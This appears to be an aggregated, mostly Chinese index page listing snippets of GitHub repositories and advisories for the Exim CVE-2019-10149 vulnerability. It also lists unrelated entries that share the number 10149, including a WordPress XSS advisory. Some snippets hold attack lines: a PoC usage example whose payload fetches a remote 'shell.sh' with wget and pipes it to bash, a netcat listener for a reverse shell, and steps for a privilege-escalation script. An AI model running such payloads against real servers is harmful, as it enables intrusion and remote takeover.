CVE-2019-10149-quick

CVE-2019-10149-quick 简单的 Bash shell 快速修复 CVE-2019-10149...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf 创建exim用户和组 sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 安装依赖 sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev...

CVE-2019-10149-Exploit

此存储库没有 README。...

eximrce-CVE-2019-10149

eximrce 用于测试 exim 是否易受 CVE-2019-10149 影响的简单 Python socket 连接。该 payload 仅在 /root/lweximtest 中创建一个文件。输出会很慢，具体取决于服务器的响应，而且我也不知道如何正确使用 Python 的 socket 模块。希望能有人教教我如何加速。仅在 cPanel 服务器上测试过。 在疑似受感染的服务器上本地运行。此命令用于检查是否存在入侵迹象。 root@kitploit: curl -s...

exim-cve-2019-10149-data

Exim CVE 数据收集 与 Exim 漏洞 CVE-2019-10149、CVE-2019-15846、CVE-2019-16928 相关的数据收集 CVE 公告：https://vulners.com/cve/CVE-2019-10149 漏洞利用详情：https://www.exploit-db.com/exploits/46974 问题时间线：https://seclists.org/fulldisclosure/2019/Jun/16 NSA...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 漏洞 CVE-2019-10149 的利用 PoC 使用示例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2019-10149-privilege-escalation

CVE-2019-10149 提权漏洞 "poc"...

CVE-2019-10149

此存储库没有 README。...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 的测试 POC...

CVE-2019-10149-Exim4-RCE

Cr.Exim 4.87 - 4.91 - 本地权限提升 Cr.Link: https://www.exploit-db.com/exploits/46996 1.此方法要求您首先以标准用户权限访问目标机器。 2.一旦您访问了目标机器，请创建一个包含以下内容的脚本文件： vi raptor.sh 3.从提供的 'raptor.sh' 文件中复制代码。然后，使用以下命令执行该文件： chmod +x raptor.sh ./raptor.sh 4.您应收到类似以下示例的输出： Preparing setuid shell helper... Delivering payload... 22...

PoC_CVE-2019-10149--rce

关于 从存在漏洞的 exim 服务远程执行命令进入 shell。 受影响版本从 4.87 到 4.91（含）。查看 https://nvd.nist.gov/vuln/detail/cve-2019-10149。 以下脚本基于 Qualys PoC。查看 https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html。 示例 建议使用两个终端 root@kitploit: T1 $ nc -nlvp 1337 T2 $ bash exploit.sh $ Listener IP:...

EXIM-4.87-CVE-2019-10149

EXIM-4.87-CVE-2019-10149 为教育目的搭建实验环境...

RHCOS 4 : Red Hat build of MicroShift 4.16.24 (RHSA-2024:10149)

The remote Red Hat Enterprise Linux CoreOS 4 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2024:10149 advisory. - runc: file descriptor leak CVE-2024-21626 Note that Nessus has not tested for this issue but has instead relied only on the application's...

CVE-2024-10149

The Social Slider Feed WordPress plugin before 2.2.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed for example in multisite setup...

WordPress Social Slider Feed plugin < 2.2.9 - Admin+ Stored XSS via Widgets vulnerability

Admin+ Stored XSS via Widgets vulnerability discovered by Dmitrii Ignatyev in WordPress Plugin Social Slider Feed versions 2.2.9...

CVE-2024-10149 Social Slider Feed < 2.2.9 - Admin+ Stored XSS via Widgets

The Social Slider Feed WordPress plugin before 2.2.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed for example in multisite setup...

CVE-2024-10149 Social Slider Feed < 2.2.9 - Admin+ Stored XSS via Widgets

The Social Slider Feed WordPress plugin before 2.2.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed for example in multisite setup...

CVE-2024-10149

The CVE-2024-10149 entry concerns the WordPress Social Slider Feed plugin prior to version 2.2.9. The root cause is that certain settings are not properly sanitized or escaped, enabling Stored XSS by high‑privilege users (e.g., administrators) even when unfiltered_html is disallowed (such as in m...

Exploit for OS Command Injection in Exim

Exim CVE Data Collection Data Collection Related to Exim Vuln...

NSA Warns of Sandworm Backdoor Attacks on Mail Servers

The Russia-linked APT group Sandworm has been spotted exploiting a vulnerability in the internet’s top email server software, according to the National Security Agency NSA. The bug exists in the Exim Mail Transfer Agent MTA software, an open-source offering used on Linux and Unix-like systems. It...